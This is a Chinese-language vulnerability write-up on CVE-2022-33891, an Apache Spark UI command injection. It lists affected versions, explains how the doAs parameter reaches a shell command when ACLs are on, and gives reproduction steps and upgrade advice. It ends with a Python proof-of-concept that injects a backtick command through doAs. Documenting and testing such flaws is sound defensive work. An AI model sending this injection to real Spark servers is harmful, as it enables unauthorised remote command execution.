一、漏洞概述
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Spark是UC Berkeley AMP lab (加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架,Spark,拥有Hadoop MapReduce所具有的优点;但不同于MapReduce的是——Job中间输出结果可以保存在内存中,从而不再需要读写HDFS,因此Spark能更好地适用于数据挖掘与机器学习等需要迭代的MapReduce的算法。
二、影响版本
- ≤3.0.3
- 3.1.1 - 3.1.2
- 3.2.0 - 3.2.1
三、漏洞原理
Apache Spark UI 可以设置选项 spark.acls.enable 启用 ACL ,使用身份验证过滤器。用以检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL则 HttpSecurityFilter 中的代码路径可以允许用户通过提供任意用户名来执行命令。该功能最终将根据用户输入构建一个 Unix shell 命令并执行它,最终导致任意命令执行。——https://blog.csdn.net/qq_42660246/article/details/125902229
四、漏洞复现环境
OS:Kali Linux
Apache Spark versions:3.0.3(https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz)
五、实验步骤
1.下载Apache Spark 3.0.3,并解压
2.启动 Apache spark 项目,访问页面(这里要启用spark.acls.enable)
./bin/spark-shell --conf spark.acls.enable=true
3.抓包,构造恶意请求,执行命令注入
4.回到“/”目录下,可以看到生成了新文件
六、修复方式
官方已发布新版本修复了该漏洞,请受影响的用户升级前请将资料备份,并进行充分测试到安全版本:https://github.com/apache/spark/tags
七、Poc
import requests
import argparse
import os
def exploit(url):
url = "http://"+url+"/jobs/?doAs=`touch%20/wavesky.txt`"
response = requests.get(url=url)
if(response.status_code == 403):
if(os.access("/wavesky.txt",os.F_OK)):
print("It looks likely vulnerable")
os.system('ls /')
# If you don't want to save this file,please delete '#' in nextline
# os.system('rm -rf /wavesky.txt')
else:
print("It is strong")
else:
print("It is strong")
if __name__ == '__main__':
parameter = argparse.ArgumentParser(description='Poc CVE-2022-33891:')
parameter.add_argument('-file',help='url file',required=False)
parameter.add_argument('-url',help='ip:port',required=False)
para = parameter.parse_args()
if para.url:
exploit(para.url)
exit()
else:
parameter.print_help()
Github——Poc/Poc_CVE-2022-33891.py at main · wave-to/Poc · GitHub